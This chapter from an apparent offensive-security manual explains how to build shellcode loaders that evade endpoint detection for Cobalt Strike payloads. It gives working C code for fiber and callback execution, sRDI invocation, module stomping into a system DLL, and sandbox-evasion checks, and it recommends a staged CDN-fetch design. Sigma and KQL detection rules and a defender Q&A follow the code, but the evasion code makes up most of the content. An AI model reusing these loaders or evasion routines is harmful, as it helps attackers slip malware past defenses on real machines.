Chapter 164

Shellcode Loaders and Stagers

A loader wraps shellcode in a delivery mechanism that bypasses detection while placing the payload in executable memory and triggering it. The execution primitive, memory backing type, and trigger mechanism are each independent decisions with different detection tradeoffs. This chapter covers sRDI (shellcode reflective DLL injection), fiber-based execution, callback primitives, module stomping, stager architecture, and environmental sandbox detection.

Scenario

You have a Cobalt Strike shellcode blob. The standard approach (VirtualAlloc RWX + CreateThread) is flagged by Defender before the thread starts. You need a loader that: allocates memory backed by a legitimate module mapping (not a private heap), uses an existing thread to execute (no new thread event), passes environmental checks so sandboxes cannot detonate it ahead of delivery, and compiles to under 15KB from a single C file.

Loader Design Taxonomy

Loader decisions (three independent axes): AXIS 1 — Memory allocation backing: Private VirtualAlloc → MEM_PRIVATE, suspicious; easiest to detect NtMapViewOfSection → section-backed; looks like a module mapping Module stomp → writes inside existing MEM_IMAGE mapping (existing .dll) Heap alloc + VirtualProtect → private but no VirtualAlloc syscall visible AXIS 2 — Execution trigger: CreateThread → new thread event → detected APC (QueueUserAPC) → needs alertable thread; no new thread event Fiber (ConvertThreadToFiber + SwitchToFiber) → in-process; no thread event Callback (EnumWindows, EnumSystemLocales, etc.) → indirect; no API signature Thread hijack → SetThreadContext; risky AXIS 3 — Shellcode location vs loader relationship: Stageless → shellcode embedded in loader; large binary, no stager Staged (TCP/HTTP fetch) → loader small; shellcode fetched at runtime Fileless (reflective) → sRDI; entire DLL + loader in shellcode High-OPSEC combination: NtMapViewOfSection + Fiber execution + Stageless → No private alloc, no new thread, no network stager → Tradeoff: larger binary (includes shellcode)

sRDI: Shellcode Reflective DLL Injection

// sRDI converts a DLL to self-loading shellcode.
// The shellcode implements its own mini PE loader:
//   1. Parse its own PE headers
//   2. Allocate memory for the image
//   3. Copy sections
//   4. Fix base relocations
//   5. Resolve import table (via in-memory EAT walk)
//   6. Call DllMain(DLL_PROCESS_ATTACH)
//   7. Call optional exported function (e.g., "Execute")
// The entire DLL + loader is a flat shellcode blob — no LoadLibrary needed.

// Key: because the shellcode resolves everything itself, it has no IAT
// and can be placed in any process at any address.

// Simplified sRDI bootstrap (x64 position-independent):
// (Full implementation: github.com/monoxgas/sRDI)

// Stage 1: GetPC — find our own address without relocs
; x64 assembly bootstrap
; RIP-relative to find start of shellcode
call get_rip
get_rip:
    pop rbx          ; rbx = address of get_rip label
    sub rbx, 5       ; rbx = start of shellcode
    ; Parse PE headers from rbx
    ; Find IMAGE_NT_HEADERS at rbx + [rbx+0x3C]
    ; Allocate preferredBase from OptionalHeader.ImageBase
    ; Copy sections, apply relocs, resolve imports
    ; jmp to AddressOfEntryPoint

// C wrapper demonstrating how to invoke sRDI:
#include <windows.h>

extern unsigned char bootstrap[];    // sRDI loader blob
extern unsigned int  bootstrap_len;
extern unsigned char payload_dll[];   // DLL converted to shellcode by sRDI.py
extern unsigned int  payload_len;

void RunSrdi(void) {
    // Allocate RW, write sRDI+payload blob, flip to RX
    SIZE_T total = bootstrap_len + payload_len;
    LPVOID buf = VirtualAlloc(NULL, total, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    memcpy(buf, bootstrap, bootstrap_len);
    memcpy((PBYTE)buf + bootstrap_len, payload_dll, payload_len);

    DWORD old;
    VirtualProtect(buf, total, PAGE_EXECUTE_READ, &old);

    // Execute via fiber (no new thread):
    LPVOID fiber = ConvertThreadToFiber(NULL);
    LPVOID payloadFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)buf, NULL);
    SwitchToFiber(payloadFiber);
    DeleteFiber(payloadFiber);
}

Fiber-Based Execution

// Fibers: cooperative user-mode threads. The OS scheduler doesn't manage them —
// they only run when SwitchToFiber() is called. No thread creation event.
// Detection: ConvertThreadToFiber + CreateFiber + SwitchToFiber sequence is
// tracked by some EDRs (it's unusual for non-fiber-aware applications).

BOOL FiberExec(PBYTE shellcode, SIZE_T size) {
    // Allocate RW, write, flip to RX
    PVOID buf = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    memcpy(buf, shellcode, size);
    DWORD old;
    VirtualProtect(buf, size, PAGE_EXECUTE_READ, &old);

    // Convert calling thread to fiber (required before CreateFiber)
    PVOID mainFiber = ConvertThreadToFiber(NULL);

    // Create payload fiber with shellcode as start routine
    PVOID scFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)buf, NULL);

    // Switch — execution transfers to shellcode; returns here when shellcode calls
    // SwitchToFiber(mainFiber) or exits its routine
    SwitchToFiber(scFiber);

    DeleteFiber(scFiber);
    return TRUE;
}

Callback Execution Primitives

// Windows provides many functions that call a user-supplied callback.
// These callback invocations look like normal API calls — the shellcode
// is executed as a callback function pointer, not a new thread.
// The caller appears in the call stack as a legitimate Windows API.

// --- EnumSystemLocalesA ---
EnumSystemLocalesA((LOCALE_ENUMPROCA)shellcode_addr, LCID_INSTALLED);
// Call stack: EnumSystemLocalesA → shellcode (looks like a locale callback)

// --- EnumTimeFormatsEx ---
EnumTimeFormatsEx((TIMEFMT_ENUMPROCEX)shellcode_addr, NULL, 0, 0);

// --- EnumUILanguages ---
EnumUILanguages((UILANGUAGE_ENUMPROCA)shellcode_addr, 0, 0);

// --- FlsAlloc / FlsFree callback ---
// Register shellcode as a Fiber Local Storage callback (called on fiber delete)
DWORD flsIdx = FlsAlloc((PFLS_CALLBACK_FUNCTION)shellcode_addr);
FlsSetValue(flsIdx, (PVOID)1);  // set value so callback fires on free
FlsFree(flsIdx);               // triggers callback → executes shellcode

// --- SetWindowsHookEx (requires a window in the target process) ---
// HOOKPROC hook = (HOOKPROC)shellcode_addr;
// SetWindowsHookEx(WH_KEYBOARD, hook, NULL, targetThreadId);

// Callback execution avoids CreateThread entirely.
// Detection: an EnumSystemLocalesA call where the callback address points
// to a private (non-module-backed) memory region is anomalous.
// Call stack analysis: shellcode executing "inside" an API callback is
// detectable via unbacked return address analysis.

Module Stomping

// Module stomping: load a legitimate DLL, overwrite its .text section with
// shellcode. The shellcode now lives in MEM_IMAGE memory (legitimate module
// backing type) — memory scans looking for private+execute regions miss it.

BOOL ModuleStomping(PBYTE shellcode, SIZE_T size) {
    // Load a rarely-used, low-suspicion DLL
    HMODULE hVictim = LoadLibraryExA("xpsp2res.dll", NULL,
                                     DONT_RESOLVE_DLL_REFERENCES);
    if (!hVictim) return FALSE;

    // Find .text section of the victim DLL
    PBYTE base = (PBYTE)hVictim;
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);

    PVOID textAddr = NULL;
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        if (memcmp(sec->Name, ".text", 5) == 0) {
            textAddr = base + sec->VirtualAddress;
            break;
        }
    }
    if (!textAddr || size > sec->Misc.VirtualSize) return FALSE;

    // Overwrite .text with shellcode
    DWORD old;
    VirtualProtect(textAddr, size, PAGE_EXECUTE_READWRITE, &old);
    memcpy(textAddr, shellcode, size);
    VirtualProtect(textAddr, size, PAGE_EXECUTE_READ, &old);

    // Execute via callback — call through function pointer to DLL .text
    ((void(*)())textAddr)();
    return TRUE;
}
// Detection: MEM_IMAGE region with modified content vs disk hash.
// Defenders using "module tampering" detection compare in-memory module
// content against a hash of the on-disk DLL. If they differ: alert.
// MDE Advanced Hunting surfaces this via DeviceEvents ImageTampering action.

Stager vs Stageless Architecture

Stager: [Tiny stager binary] → HTTP GET to teamserver → receive shellcode → execute Pros: small initial binary (< 10KB); payload not on disk Cons: requires network connection during detonation; stager network pattern is a known IOC; sandboxes block outbound to unknown IPs Stageless: [Full loader + embedded shellcode] → execute directly Pros: works offline; no staging network request; no staging IOC Cons: larger binary; shellcode on disk; if AV scans binary, payload exposed Hybrid (recommended): [Loader] → fetch payload from CDN with malleable URI → decode + execute CDN caches the payload encrypted; only loader on disk Payload keyed to implant ID: replays blocked after first successful use Staged payload flow (Cobalt Strike default): stager.exe ------ GET /AAAA (4-byte stager request) ----▶ teamserver ◀--- 1024-byte stage (full beacon DLL) ------ beacon runs in-memory, requests full DLL if stage check passes [Blocking technique: teamserver returns 404 if stager IP ≠ target range]

Sandbox-Evasion Environment Checks

// Sandboxes execute samples automatically. Most sandboxes have tell-tale
// characteristics: few processes, short uptime, limited user activity.
// Environmental checks delay or skip execution if not in a real endpoint.

BOOL InSandbox(void) {
    // Check 1: system uptime — sandboxes often < 10 minutes
    if (GetTickCount64() < 10 * 60 * 1000) return TRUE;

    // Check 2: number of running processes — sandbox has < 30 typical
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { .dwSize = sizeof(pe) };
    int count = 0;
    if (Process32First(snap, &pe))
        do { count++; } while (Process32Next(snap, &pe));
    CloseHandle(snap);
    if (count < 25) return TRUE;

    // Check 3: user interaction — cursor must have moved recently
    POINT p1, p2;
    GetCursorPos(&p1);
    Sleep(3000);
    GetCursorPos(&p2);
    if (p1.x == p2.x && p1.y == p2.y) return TRUE;  // no mouse movement

    // Check 4: CPUID hypervisor bit (VMware, VirtualBox, Hyper-V sandbox)
    int cpuInfo[4];
    __cpuid(cpuInfo, 1);
    if (cpuInfo[2] & (1 << 31)) return TRUE;  // hypervisor bit set

    // Check 5: disk size — sandbox VMs typically < 100GB
    ULARGE_INTEGER free, total;
    GetDiskFreeSpaceExW(L"C:\\", &free, &total, NULL);
    if (total.QuadPart < (ULONGLONG)100 * 1024 * 1024 * 1024) return TRUE;

    return FALSE;  // probably a real machine
}

Detection Engineering

title: Fiber Execution Primitive Used with Shellcode Blob
logsource:
  product: windows
  category: process_access
detection:
  selection:
    EventID: 10  # Sysmon
    CallTrace|contains:
      - 'ConvertThreadToFiber'
      - 'CreateFiber'
    GrantedAccess: '0x1FFFFF'
  condition: selection
level: high

title: Module Stomping — Image Memory Modified
logsource:
  product: windows
  category: driver_load
detection:
  selection:
    EventID: 7  # Sysmon image load
    Signed: 'false'  # or use image tampering alerts
  filter_legit:
    ImageLoaded|contains:
      - '\Windows\System32\'
      - '\Program Files\'
  condition: selection AND NOT filter_legit
level: medium

-- MDE KQL: detect EnumSystemLocalesA or EnumTimeFormatsEx from private memory
DeviceEvents
| where ActionType in (
    "VirtualAllocApiCall", "SetThreadContextApiCall")
| join kind=inner (
    DeviceProcessEvents
    | where ProcessCommandLine has_any ("EnumSys", "FlsAlloc")
) on DeviceName, InitiatingProcessId
| project Timestamp, DeviceName, InitiatingProcessFileName,
          ActionType, ProcessCommandLine

Q&A

What does module stomping detection look like from the defender side, and what data source makes it reliable?

Module stomping detection relies on a data source that most endpoint agents collect: a hash or content comparison of in-memory module mappings versus the on-disk DLL file. When a process has xpsp2res.dll loaded (MEM_IMAGE backed, appears legitimate in the VAD tree), but the actual bytes in the .text section don't match the hash of C:\Windows\System32\xpsp2res.dll, that discrepancy is the detection signal.

MDE surfaces this through the DeviceEvents table with an ActionType of ImageTampering. When the MDE sensor scans module pages and finds content that diverges from the on-disk image (identified by its known Authenticode hash), it generates an alert with the process, module name, and affected virtual address range. This detection does not depend on observing the write operation itself — it fires on the state anomaly at scan time, which means it can catch stomping that happened before the sensor was installed or that patched memory without going through tracked APIs.

The attacker countermeasure is to stomp a module that Windows Update frequently modifies — so defenders can't reliably baseline its content — or to stomp only a small region of a large module where known-good content is absent. However, the most effective counter is to not use module stomping at all for persistence: use it only transiently (stompcode runs, finishes, the DLL is freed), so the stomped state never persists long enough for a scheduled scan to catch it. The defensive counter to that is on-access scanning that validates module integrity at image-load time rather than on a schedule.